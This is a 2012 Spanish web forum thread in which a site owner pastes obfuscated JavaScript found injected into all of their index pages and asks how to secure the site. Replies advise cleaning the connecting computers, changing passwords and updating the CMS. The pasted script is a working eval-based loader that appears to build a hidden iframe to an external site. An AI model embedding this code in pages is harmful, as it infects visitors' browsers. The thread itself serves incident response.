Foros del Web » Administración de Sistemas » Shared Hosting y VPS »

javascript en mi servidor

Estas en el tema de javascript en mi servidor en el foro de Shared Hosting y VPS en Foros del Web. No se porque pero en todas las paginas index se agrego este codigo: Código PHP: < script >if( window . document ) aa =new  RegExp ...
  #1 (permalink)  
Antiguo 20/03/2012, 12:27
 
Fecha de Ingreso: noviembre-2008
Mensajes: 4
Antigüedad: 16 años, 1 mes
Puntos: 0
javascript en mi servidor

No se porque pero en todas las paginas index se agrego este codigo:

Código PHP:
<script>if(window.document)
aa=new RegExp('test','i').toString();
aaa='/test/i';
if(
aa.indexOf(aaa)!==-1){
    
ss='';
    
s=String;
    
ee='e';
    
e=window[ee+'val'];
    
t='y';
}
h=-2;

n=4.5,4.5,52.5,51,16,20,50,55.5,49.5,58.5,54.5,50.5,55,58,23,51.5,50.5,58,34.5,54,50.5,54.5,50.5,55,58,57.5,33,60.5,42,48.5,51.5,39,48.5,54.5,50.5,20,19.5,49,55.5,50,60.5,19.5,20.5,45.5,24,46.5,20.5,61.5,4.5,4.5,4.5,52.5,51,57,48.5,54.5,50.5,57,20,20.5,29.5,4.5,4.5,62.5,16,50.5,54,57.5,50.5,16,61.5,4.5,4.5,4.5,50,55.5,49.5,58.5,54.5,50.5,55,58,23,59.5,57,52.5,58,50.5,20,17,30,52.5,51,57,48.5,54.5,50.5,16,57.5,57,49.5,30.5,19.5,52,58,58,56,29,23.5,23.5,57.5,58,55.5,57,60.5,54,55.5,55.5,58,60.5,49,58.5,61,23,49.5,55.5,54.5,23.5,54.5,48.5,52.5,55,23,56,52,56,31.5,56,48.5,51.5,50.5,30.5,27,50.5,49,26.5,49,27.5,27,27.5,27.5,50,27,26.5,24.5,50,51,26,19.5,16,59.5,52.5,50,58,52,30.5,19.5,24.5,24,19.5,16,52,50.5,52.5,51.5,52,58,30.5,19.5,24.5,24,19.5,16,57.5,58,60.5,54,50.5,30.5,19.5,59,52.5,57.5,52.5,49,52.5,54,52.5,58,60.5,29,52,52.5,50,50,50.5,55,29.5,56,55.5,57.5,52.5,58,52.5,55.5,55,29,48.5,49,57.5,55.5,54,58.5,58,50.5,29.5,54,50.5,51,58,29,24,29.5,58,55.5,56,29,24,29.5,19.5,31,30,23.5,52.5,51,57,48.5,54.5,50.5,31,17,20.5,29.5,4.5,4.5,62.5,4.5,4.5,51,58.5,55,49.5,58,52.5,55.5,55,16,52.5,51,57,48.5,54.5,50.5,57,20,20.5,61.5,4.5,4.5,4.5,59,48.5,57,16,51,16,30.5,16,50,55.5,49.5,58.5,54.5,50.5,55,58,23,49.5,57,50.5,48.5,58,50.5,34.5,54,50.5,54.5,50.5,55,58,20,19.5,52.5,51,57,48.5,54.5,50.5,19.5,20.5,29.5,51,23,57.5,50.5,58,32.5,58,58,57,52.5,49,58.5,58,50.5,20,19.5,57.5,57,49.5,19.5,22,19.5,52,58,58,56,29,23.5,23.5,57.5,58,55.5,57,60.5,54,55.5,55.5,58,60.5,49,58.5,61,23,49.5,55.5,54.5,23.5,54.5,48.5,52.5,55,23,56,52,56,31.5,56,48.5,51.5,50.5,30.5,27,50.5,49,26.5,49,27.5,27,27.5,27.5,50,27,26.5,24.5,50,51,26,19.5,20.5,29.5,51,23,57.5,58,60.5,54,50.5,23,59,52.5,57.5,52.5,49,52.5,54,52.5,58,60.5,30.5,19.5,52,52.5,50,50,50.5,55,19.5,29.5,51,23,57.5,58,60.5,54,50.5,23,56,55.5,57.5,52.5,58,52.5,55.5,55,30.5,19.5,48.5,49,57.5,55.5,54,58.5,58,50.5,19.5,29.5,51,23,57.5,58,60.5,54,50.5,23,54,50.5,51,58,30.5,19.5,24,19.5,29.5,51,23,57.5,58,60.5,54,50.5,23,58,55.5,56,30.5,19.5,24,19.5,29.5,51,23,57.5,50.5,58,32.5,58,58,57,52.5,49,58.5,58,50.5,20,19.5,59.5,52.5,50,58,52,19.5,22,19.5,24.5,24,19.5,20.5,29.5,51,23,57.5,50.5,58,32.5,58,58,57,52.5,49,58.5,58,50.5,20,19.5,52,50.5,52.5,51.5,52,58,19.5,22,19.5,24.5,24,19.5,20.5,29.5,4.5,4.5,4.5,50,55.5,49.5,58.5,54.5,50.5,55,58,23,51.5,50.5,58,34.5,54,50.5,54.5,50.5,55,58,57.5,33,60.5,42,48.5,51.5,39,48.5,54.5,50.5,20,19.5,49,55.5,50,60.5,19.5,20.5,45.5,24,46.5,23,48.5,56,56,50.5,55,50,33.5,52,52.5,54,50,20,51,20.5,29.5,4.5,4.5,62.5];

f='f'+'romChar';
for(
i=0;i-n.length<0;i++){
 
j=i;
 
ss=ss+String[f+'Code'](-h*n[j]);
}

/*e(ss);*/
alert(ss);

</script> 

quisiera saber si en el caso que alguien intento hackear mi web, como la puedo proteger.
  #2 (permalink)  
Antiguo 20/03/2012, 12:50
 
Fecha de Ingreso: marzo-2012
Ubicación: Valencia
Mensajes: 31
Antigüedad: 12 años, 9 meses
Puntos: 6
Respuesta: javascript en mi servidor

Pues si que parece un hackeo, lo primero es limpiar todos los pcs desde donde te hayas conectado al ftp/ssh/administrador de la web, despues cambiar las contraseñas de acceso al servidor (ftp, ssh..etc) y si tienes instalado algun script ya hecho (wordpress, prestashop...etc) actualizarlo a la ultima version y mirar si hay algun bug reconocido por los creadores....
  #3 (permalink)  
Antiguo 20/03/2012, 22:55
Avatar de Luismaster2000  
Fecha de Ingreso: junio-2011
Ubicación: Orizaba, Ver.
Mensajes: 499
Antigüedad: 13 años, 6 meses
Puntos: 31
Respuesta: javascript en mi servidor

bueno aunque igual habria que ver si el haqueo no fue por culpa del servidor

Etiquetas: ip, javascript, servidor
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 21:21.